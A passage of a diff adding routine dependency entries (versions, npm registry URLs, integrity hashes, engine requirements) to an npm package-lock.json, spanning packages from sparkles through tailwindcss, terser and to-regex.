"sha512-cPiFOTLUKvJFIg4SKVScy4ilPPW6rFgMgfuZJPNoDuMs3nC1HbMUycBoJw77xFIp6z1UJQJOfx6C9GMH80DiTw==", + "deprecated": "See https://github.com/lydell/source-map-url#deprecated", + "dev": true + }, + "node_modules/sparkles": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/sparkles/-/sparkles-1.0.1.tgz", + "integrity": "sha512-dSO0DDYUahUt/0/pD/Is3VIm5TGJjludZ0HVymmhYF6eNA53PVLhnUk0znSYbH8IYBuJdCE+1luR22jNLMaQdw==", + "dev": true, + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/spawn-wrap": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/spawn-wrap/-/spawn-wrap-2.0.0.tgz", + "integrity": "sha512-EeajNjfN9zMnULLwhZZQU3GWBoFNkbngTUPfaawT4RkMiviTxcX0qfhVbGey39mfctfDHkWtuecgQ8NJcyQWHg==", + "dev": true, + "dependencies": { + "foreground-child": "^2.0.0", + "is-windows": "^1.0.2", + "make-dir": "^3.0.0", + "rimraf": "^3.0.0", + "signal-exit": "^3.0.2", + "which": "^2.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/spawn-wrap/node_modules/make-dir": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-3.1.0.tgz", + "integrity": "sha512-g3FeP20LNwhALb/6Cz6Dd4F2ngze0jz7tbzrD2wAV+o9FeNHe4rL+yK2md0J/fiSf1sa1ADhXqi5+oVwOM/eGw==", + "dev": true, + "dependencies": { + "semver": "^6.0.0" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/spdx-correct": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/spdx-correct/-/spdx-correct-3.2.0.tgz", + "integrity": "sha512-kN9dJbvnySHULIluDHy32WHRUu3Og7B9sbY7tsFLctQkIqnMh3hErYgdMjTYuqmcXX+lK5T1lnUt3G7zNswmZA==", + "dev": true, + "dependencies": { + "spdx-expression-parse": "^3.0.0", + "spdx-license-ids": "^3.0.0" + } + }, + "node_modules/spdx-exceptions": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/spdx-exceptions/-/spdx-exceptions-2.3.0.tgz", + "integrity": "sha512-/tTrYOC7PPI1nUAgx34hUpqXuyJG+DTHJTnIULG4rDygi4xu/tfgmq1e1cIRwRzwZgo4NLySi+ricLkZkw4i5A==", + "dev": true + }, + "node_modules/spdx-expression-parse": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/spdx-expression-parse/-/spdx-expression-parse-3.0.1.tgz", + "integrity": "sha512-cbqHunsQWnJNE6KhVSMsMeH5H/L9EpymbzqTQ3uLwNCLZ1Q481oWaofqH7nO6V07xlXwY6PhQdQ2IedWx/ZK4Q==", + "dev": true, + "dependencies": { + "spdx-exceptions": "^2.1.0", + "spdx-license-ids": "^3.0.0" + } + }, + "node_modules/spdx-license-ids": { + "version": "3.0.13", + "resolved": "https://registry.npmjs.org/spdx-license-ids/-/spdx-license-ids-3.0.13.tgz", + "integrity": "sha512-XkD+zwiqXHikFZm4AX/7JSCXA98U5Db4AFd5XUg/+9UNtnH75+Z9KxtpYiJZx36mUDVOwH83pl7yvCer6ewM3w==", + "dev": true + }, + "node_modules/split": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/split/-/split-1.0.1.tgz", + "integrity": "sha512-mTyOoPbrivtXnwnIxZRFYRrPNtEFKlpB2fvjSnCQUiAA6qAZzqwna5envK4uk6OIeP17CsdF3rSBGYVBsU0Tkg==", + "dev": true, + "dependencies": { + "through": "2" + }, + "engines": { + "node": "*" + } + }, + "node_modules/split-string": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/split-string/-/split-string-3.1.0.tgz", + "integrity": "sha512-NzNVhJDYpwceVVii8/Hu6DKfD2G+NrQHlS/V/qgv763EYudVwEcMQNxd2lh+0VrUByXN/oJkl5grOhYWvQUYiw==", + "dev": true, + "dependencies": { + "extend-shallow": "^3.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/split-string/node_modules/extend-shallow": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-3.0.2.tgz", + "integrity": "sha512-BwY5b5Ql4+qZoefgMj2NUmx+tehVTH/Kf4k1ZEtOHNFcm2wSxMRo992l6X3TIgni2eZVTZ85xMOjF31fwZAj6Q==", + "dev": true, + "dependencies": { + "assign-symbols": "^1.0.0", + "is-extendable": "^1.0.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/split-string/node_modules/is-extendable": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-1.0.1.tgz", + "integrity": "sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==", + "dev": true, + "dependencies": { + "is-plain-object": "^2.0.4" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/sprintf-js": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.0.3.tgz", + "integrity": "sha512-D9cPgkvLlV3t3IzL0D0YLvGA9Ahk4PcvVwUbN0dSGr1aP0Nrt4AEnTUbuGvquEC0mA64Gqt1fzirlRs5ibXx8g==", + "dev": true + }, + "node_modules/stack-trace": { + "version": "0.0.10", + "resolved": "https://registry.npmjs.org/stack-trace/-/stack-trace-0.0.10.tgz", + "integrity": "sha512-KGzahc7puUKkzyMt+IqAep+TVNbKP+k2Lmwhub39m1AsTSkaDutx56aDCo+HLDzf/D26BIHTJWNiTG1KAJiQCg==", + "dev": true, + "engines": { + "node": "*" + } + }, + "node_modules/static-extend": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/static-extend/-/static-extend-0.1.2.tgz", + "integrity": "sha512-72E9+uLc27Mt718pMHt9VMNiAL4LMsmDbBva8mxWUCkT07fSzEGMYUCk0XWY6lp0j6RBAG4cJ3mWuZv2OE3s0g==", + "dev": true, + "dependencies": { + "define-property": "^0.2.5", + "object-copy": "^0.1.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/stream-combiner": { + "version": "0.2.2", + "resolved": "https://registry.npmjs.org/stream-combiner/-/stream-combiner-0.2.2.tgz", + "integrity": "sha512-6yHMqgLYDzQDcAkL+tjJDC5nSNuNIx0vZtRZeiPh7Saef7VHX9H5Ijn9l2VIol2zaNYlYEX6KyuT/237A58qEQ==", + "dev": true, + "dependencies": { + "duplexer": "~0.1.1", + "through": "~2.3.4" + } + }, + "node_modules/stream-exhaust": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/stream-exhaust/-/stream-exhaust-1.0.2.tgz", + "integrity": "sha512-b/qaq/GlBK5xaq1yrK9/zFcyRSTNxmcZwFLGSTG0mXgZl/4Z6GgiyYOXOvY7N3eEvFRAG1bkDRz5EPGSvPYQlw==", + "dev": true + }, + "node_modules/stream-shift": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/stream-shift/-/stream-shift-1.0.1.tgz", + "integrity": "sha512-AiisoFqQ0vbGcZgQPY1cdP2I76glaVA/RauYR4G4thNFgkTqr90yXTo4LYX60Jl+sIlPNHHdGSwo01AvbKUSVQ==", + "dev": true + }, + "node_modules/string_decoder": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", + "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", + "dev": true, + "dependencies": { + "safe-buffer": "~5.1.0" + } + }, + "node_modules/string-width": { + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", + "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", + "dev": true, + "dependencies": { + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/strip-ansi": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "dev": true, + "dependencies": { + "ansi-regex": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/strip-bom": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/strip-bom/-/strip-bom-4.0.0.tgz", + "integrity": "sha512-3xurFv5tEgii33Zi8Jtp55wEIILR9eh34FAW00PZf+JnSsTmV/ioewSgQl97JHvgjoRGwPShsWm+IdrxB35d0w==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/strip-json-comments": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-3.1.1.tgz", + "integrity": "sha512-6fPc+R4ihwqP6N/aIv2f1gMH8lOVtWQHoqC4yK6oSDVVocumAsfCqjkXnqiYMhmMwS/mEHLp7Vehlt3ql6lEig==", + "dev": true, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/sucrase": { + "version": "3.34.0", + "resolved": "https://registry.npmjs.org/sucrase/-/sucrase-3.34.0.tgz", + "integrity": "sha512-70/LQEZ07TEcxiU2dz51FKaE6hCTWC6vr7FOk3Gr0U60C3shtAN+H+BFr9XlYe5xqf3RA8nrc+VIwzCfnxuXJw==", + "dev": true, + "dependencies": { + "@jridgewell/gen-mapping": "^0.3.2", + "commander": "^4.0.0", + "glob": "7.1.6", + "lines-and-columns": "^1.1.6", + "mz": "^2.7.0", + "pirates": "^4.0.1", + "ts-interface-checker": "^0.1.9" + }, + "bin": { + "sucrase": "bin/sucrase", + "sucrase-node": "bin/sucrase-node" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/sucrase/node_modules/commander": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/commander/-/commander-4.1.1.tgz", + "integrity": "sha512-NOKm8xhkzAjzFx8B2v5OAHT+u5pRQc2UCa2Vq9jYL/31o2wi9mxBA7LIFs3sV5VSC49z6pEhfbMULvShKj26WA==", + "dev": true, + "engines": { + "node": ">= 6" + } + }, + "node_modules/sucrase/node_modules/glob": { + "version": "7.1.6", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.6.tgz", + "integrity": "sha512-LwaxwyZ72Lk7vZINtNNrywX0ZuLyStrdDtabefZKAY5ZGJhVtgdznluResxNmPitE0SAO+O26sWTHeKSI2wMBA==", + "dev": true, + "dependencies": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.0.4", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + }, + "engines": { + "node": "*" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dev": true, + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/supports-preserve-symlinks-flag": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/supports-preserve-symlinks-flag/-/supports-preserve-symlinks-flag-1.0.0.tgz", + "integrity": "sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w==", + "dev": true, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/sver-compat": { + "version": "1.5.0", + "resolved": "https://registry.npmjs.org/sver-compat/-/sver-compat-1.5.0.tgz", + "integrity": "sha512-aFTHfmjwizMNlNE6dsGmoAM4lHjL0CyiobWaFiXWSlD7cIxshW422Nb8KbXCmR6z+0ZEPY+daXJrDyh/vuwTyg==", + "dev": true, + "dependencies": { + "es6-iterator": "^2.0.1", + "es6-symbol": "^3.1.1" + } + }, + "node_modules/symbol-tree": { + "version": "3.2.4", + "resolved": "https://registry.npmjs.org/symbol-tree/-/symbol-tree-3.2.4.tgz", + "integrity": "sha512-9QNk5KwDF+Bvz+PyObkmSYjI5ksVUYtjW7AU22r2NKcfLJcXp96hkDWU3+XndOsUb+AQ9QhfzfCT2O+CNWT5Tw==", + "dev": true + }, + "node_modules/taffydb": { + "version": "2.6.2", + "resolved": "https://registry.npmjs.org/taffydb/-/taffydb-2.6.2.tgz", + "integrity": "sha512-y3JaeRSplks6NYQuCOj3ZFMO3j60rTwbuKCvZxsAraGYH2epusatvZ0baZYA01WsGqJBq/Dl6vOrMUJqyMj8kA==", + "dev": true + }, + "node_modules/tailwindcss": { + "version": "3.3.3", + "resolved": "https://registry.npmjs.org/tailwindcss/-/tailwindcss-3.3.3.tgz", + "integrity": "sha512-A0KgSkef7eE4Mf+nKJ83i75TMyq8HqY3qmFIJSWy8bNt0v1lG7jUcpGpoTFxAwYcWOphcTBLPPJg+bDfhDf52w==", + "dev": true, + "dependencies": { + "@alloc/quick-lru": "^5.2.0", + "arg": "^5.0.2", + "chokidar": "^3.5.3", + "didyoumean": "^1.2.2", + "dlv": "^1.1.3", + "fast-glob": "^3.2.12", + "glob-parent": "^6.0.2", + "is-glob": "^4.0.3", + "jiti": "^1.18.2", + "lilconfig": "^2.1.0", + "micromatch": "^4.0.5", + "normalize-path": "^3.0.0", + "object-hash": "^3.0.0", + "picocolors": "^1.0.0", + "postcss": "^8.4.23", + "postcss-import": "^15.1.0", + "postcss-js": "^4.0.1", + "postcss-load-config": "^4.0.1", + "postcss-nested": "^6.0.1", + "postcss-selector-parser": "^6.0.11", + "resolve": "^1.22.2", + "sucrase": "^3.32.0" + }, + "bin": { + "tailwind": "lib/cli.js", + "tailwindcss": "lib/cli.js" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/tailwindcss/node_modules/anymatch": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.3.tgz", + "integrity": "sha512-KMReFUr0B4t+D+OBkjR3KYqvocp2XaSzO55UcB6mgQMd3KbcE+mWTyvVV7D/zsdEbNnV6acZUutkiHQXvTr1Rw==", + "dev": true, + "dependencies": { + "normalize-path": "^3.0.0", + "picomatch": "^2.0.4" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/tailwindcss/node_modules/binary-extensions": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.2.0.tgz", + "integrity": "sha512-jDctJ/IVQbZoJykoeHbhXpOlNBqGNcwXJKJog42E5HDPUwQTSdjCHdihjj0DlnheQ7blbT6dHOafNAiS8ooQKA==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/tailwindcss/node_modules/braces": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz", + "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==", + "dev": true, + "dependencies": { + "fill-range": "^7.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/tailwindcss/node_modules/chokidar": { + "version": "3.5.3", + "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.5.3.tgz", + "integrity": "sha512-Dr3sfKRP6oTcjf2JmUmFJfeVMvXBdegxB0iVQ5eb2V10uFJUCAS8OByZdVAyVb8xXNz3GjjTgj9kLWsZTqE6kw==", + "dev": true, + "funding": [ + { + "type": "individual", + "url": "https://paulmillr.com/funding/" + } + ], + "dependencies": { + "anymatch": "~3.1.2", + "braces": "~3.0.2", + "glob-parent": "~5.1.2", + "is-binary-path": "~2.1.0", + "is-glob": "~4.0.1", + "normalize-path": "~3.0.0", + "readdirp": "~3.6.0" + }, + "engines": { + "node": ">= 8.10.0" + }, + "optionalDependencies": { + "fsevents": "~2.3.2" + } + }, + "node_modules/tailwindcss/node_modules/chokidar/node_modules/glob-parent": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", + "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", + "dev": true, + "dependencies": { + "is-glob": "^4.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/tailwindcss/node_modules/fill-range": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz", + "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==", + "dev": true, + "dependencies": { + "to-regex-range": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/tailwindcss/node_modules/fsevents": { + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.2.tgz", + "integrity": "sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA==", + "dev": true, + "hasInstallScript": true, + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": "^8.16.0 || ^10.6.0 || >=11.0.0" + } + }, + "node_modules/tailwindcss/node_modules/is-binary-path": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-2.1.0.tgz", + "integrity": "sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==", + "dev": true, + "dependencies": { + "binary-extensions": "^2.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/tailwindcss/node_modules/is-number": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", + "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", + "dev": true, + "engines": { + "node": ">=0.12.0" + } + }, + "node_modules/tailwindcss/node_modules/readdirp": { + "version": "3.6.0", + "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.6.0.tgz", + "integrity": "sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==", + "dev": true, + "dependencies": { + "picomatch": "^2.2.1" + }, + "engines": { + "node": ">=8.10.0" + } + }, + "node_modules/tailwindcss/node_modules/to-regex-range": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", + "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", + "dev": true, + "dependencies": { + "is-number": "^7.0.0" + }, + "engines": { + "node": ">=8.0" + } + }, + "node_modules/tapable": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/tapable/-/tapable-2.2.1.tgz", + "integrity": "sha512-GNzQvQTOIP6RyTfE2Qxb8ZVlNmw0n88vp1szwWRimP02mnTsx3Wtn5qRdqY9w2XduFNUgvOwhNnQsjwCp+kqaQ==", + "dev": true, + "peer": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/terser": { + "version": "5.19.1", + "resolved": "https://registry.npmjs.org/terser/-/terser-5.19.1.tgz", + "integrity": "sha512-27hxBUVdV6GoNg1pKQ7Z5cbR6V9txPVyBA+FQw3BaZ1Wuzvztce5p156DaP0NVZNrMZZ+6iG9Syf7WgMNKDg2Q==", + "dev": true, + "peer": true, + "dependencies": { + "@jridgewell/source-map": "^0.3.3", + "acorn": "^8.8.2", + "commander": "^2.20.0", + "source-map-support": "~0.5.20" + }, + "bin": { + "terser": "bin/terser" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/terser-webpack-plugin": { + "version": "5.3.9", + "resolved": "https://registry.npmjs.org/terser-webpack-plugin/-/terser-webpack-plugin-5.3.9.tgz", + "integrity": "sha512-ZuXsqE07EcggTWQjXUj+Aot/OMcD0bMKGgF63f7UxYcu5/AJF53aIpK1YoP5xR9l6s/Hy2b+t1AM0bLNPRuhwA==", + "dev": true, + "peer": true, + "dependencies": { + "@jridgewell/trace-mapping": "^0.3.17", + "jest-worker": "^27.4.5", + "schema-utils": "^3.1.1", + "serialize-javascript": "^6.0.1", + "terser": "^5.16.8" + }, + "engines": { + "node": ">= 10.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependencies": { + "webpack": "^5.1.0" + }, + "peerDependenciesMeta": { + "@swc/core": { + "optional": true + }, + "esbuild": { + "optional": true + }, + "uglify-js": { + "optional": true + } + } + }, + "node_modules/terser-webpack-plugin/node_modules/serialize-javascript": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-6.0.1.tgz", + "integrity": "sha512-owoXEFjWRllis8/M1Q+Cw5k8ZH40e3zhp/ovX+Xr/vi1qj6QesbyXXViFbpNvWvPNAD62SutwEXavefrLJWj7w==", + "dev": true, + "peer": true, + "dependencies": { + "randombytes": "^2.1.0" + } + }, + "node_modules/terser/node_modules/commander": { + "version": "2.20.3", + "resolved": "https://registry.npmjs.org/commander/-/commander-2.20.3.tgz", + "integrity": "sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ==", + "dev": true, + "peer": true + }, + "node_modules/test-exclude": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/test-exclude/-/test-exclude-6.0.0.tgz", + "integrity": "sha512-cAGWPIyOHU6zlmg88jwm7VRyXnMN7iV68OGAbYDk/Mh/xC/pzVPlQtY6ngoIH/5/tciuhGfvESU8GrHrcxD56w==", + "dev": true, + "dependencies": { + "@istanbuljs/schema": "^0.1.2", + "glob": "^7.1.4", + "minimatch": "^3.0.4" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/text-table": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/text-table/-/text-table-0.2.0.tgz", + "integrity": "sha512-N+8UisAXDGk8PFXP4HAzVR9nbfmVJ3zYLAWiTIoqC5v5isinhr+r5uaO8+7r3BMfuNIufIsA7RdpVgacC2cSpw==", + "dev": true + }, + "node_modules/thenby": { + "version": "1.3.4", + "resolved": "https://registry.npmjs.org/thenby/-/thenby-1.3.4.tgz", + "integrity": "sha512-89Gi5raiWA3QZ4b2ePcEwswC3me9JIg+ToSgtE0JWeCynLnLxNr/f9G+xfo9K+Oj4AFdom8YNJjibIARTJmapQ==", + "dev": true + }, + "node_modules/thenify": { + "version": "3.3.1", + "resolved": "https://registry.npmjs.org/thenify/-/thenify-3.3.1.tgz", + "integrity": "sha512-RVZSIV5IG10Hk3enotrhvz0T9em6cyHBLkH/YAZuKqd8hRkKhSfCGIcP2KUY0EPxndzANBmNllzWPwak+bheSw==", + "dev": true, + "dependencies": { + "any-promise": "^1.0.0" + } + }, + "node_modules/thenify-all": { + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/thenify-all/-/thenify-all-1.6.0.tgz", + "integrity": "sha512-RNxQH/qI8/t3thXJDwcstUO4zeqo64+Uy/+sNVRBx4Xn2OX+OZ9oP+iJnNFqplFra2ZUVeKCSa2oVWi3T4uVmA==", + "dev": true, + "dependencies": { + "thenify": ">= 3.1.0 < 4" + }, + "engines": { + "node": ">=0.8" + } + }, + "node_modules/through": { + "version": "2.3.8", + "resolved": "https://registry.npmjs.org/through/-/through-2.3.8.tgz", + "integrity": "sha512-w89qg7PI8wAdvX60bMDP+bFoD5Dvhm9oLheFp5O4a2QF0cSBGsBX4qZmadPMvVqlLJBBci+WqGGOAPvcDeNSVg==", + "dev": true + }, + "node_modules/through2": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/through2/-/through2-3.0.1.tgz", + "integrity": "sha512-M96dvTalPT3YbYLaKaCuwu+j06D/8Jfib0o/PxbVt6Amhv3dUAtW6rTV1jPgJSBG83I/e04Y6xkVdVhSRhi0ww==", + "dev": true, + "dependencies": { + "readable-stream": "2 || 3" + } + }, + "node_modules/through2-filter": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/through2-filter/-/through2-filter-3.0.0.tgz", + "integrity": "sha512-jaRjI2WxN3W1V8/FMZ9HKIBXixtiqs3SQSX4/YGIiP3gL6djW48VoZq9tDqeCWs3MT8YY5wb/zli8VW8snY1CA==", + "dev": true, + "dependencies": { + "through2": "~2.0.0", + "xtend": "~4.0.0" + } + }, + "node_modules/through2-filter/node_modules/through2": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/through2/-/through2-2.0.5.tgz", + "integrity": "sha512-/mrRod8xqpA+IHSLyGCQ2s8SPHiCDEeQJSep1jqLYeEUClOFG2Qsh+4FU6G9VeqpZnGW/Su8LQGc4YKni5rYSQ==", + "dev": true, + "dependencies": { + "readable-stream": "~2.3.6", + "xtend": "~4.0.1" + } + }, + "node_modules/time-stamp": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/time-stamp/-/time-stamp-1.1.0.tgz", + "integrity": "sha512-gLCeArryy2yNTRzTGKbZbloctj64jkZ57hj5zdraXue6aFgd6PmvVtEyiUU+hvU0v7q08oVv8r8ev0tRo6bvgw==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/to-absolute-glob": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/to-absolute-glob/-/to-absolute-glob-2.0.2.tgz", + "integrity": "sha512-rtwLUQEwT8ZeKQbyFJyomBRYXyE16U5VKuy0ftxLMK/PZb2fkOsg5r9kHdauuVDbsNdIBoC/HCthpidamQFXYA==", + "dev": true, + "dependencies": { + "is-absolute": "^1.0.0", + "is-negated-glob": "^1.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/to-fast-properties": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/to-fast-properties/-/to-fast-properties-2.0.0.tgz", + "integrity": "sha512-/OaKK0xYrs3DmxRYqL/yDc+FxFUVYhDlXMhRmv3z915w2HF1tnN1omB354j8VUGO/hbRzyD6Y3sA7v7GS/ceog==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/to-object-path": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/to-object-path/-/to-object-path-0.3.0.tgz", + "integrity": "sha512-9mWHdnGRuh3onocaHzukyvCZhzvr6tiflAy/JRFXcJX0TjgfWA9pk9t8CMbzmBE4Jfw58pXbkngtBtqYxzNEyg==", + "dev": true, + "dependencies": { + "kind-of": "^3.0.2" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/to-object-path/node_modules/kind-of": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", + "integrity": "sha512-NOW9QQXMoZGg/oqnVNoNTTIFEIid1627WCffUBJEdMxYApq7mNE7CpzucIPc+ZQg25Phej7IJSmX3hO+oblOtQ==", + "dev": true, + "dependencies": { + "is-buffer": "^1.1.5" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/to-regex": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/to-regex/-/to-regex-3.0.2.tgz", + "integrity": "sha512-FWtleNAtZ/Ki2qtqej2CXTOayOH9bHDQF+Q48VpWyDXjbYxA4Yz8iDB31zXOBUlOHHKidDbqGVrTUvQMPmBGBw==", + "dev": true, + "dependencies": { + "define-property": "^2.0.2", + "extend-shallow": "^3.0.2", + "regex-not": "^1.0.2", + "safe-regex": "^1.1.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/to-regex-range": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-2.1.1.tgz", + "integrity": "sha512-ZZWNfCjUokXXDGXFpZehJIkZqq91BcULFq/Pi7M5i4JnxXdhMKAK682z8bCW3o8Hj1wuuzoKcW3DfVzaP6VuNg==", + "dev": true, + "dependencies": { + "is-number": "^3.0.0", + "repeat-string": "^1.6.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/to-regex/node_modules/define-property": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/define-property/-/define-property-2.0.2.tgz", + "integrity": "sha512-jwK2UV4cnPpbcG7+VRARKTZPUWowwXA8bzH5NP6ud0oeAxyYPuGZUAC7hMugpCdz4BeSZl2Dl9k66CHJ/46ZYQ==", + "dev": true, + "dependencies": { + "is-descriptor": "^1.0.2", + "isobject": "^3.0.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/to-regex/node_modules/extend-shallow": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-3.0.2.tgz", + "integrity": 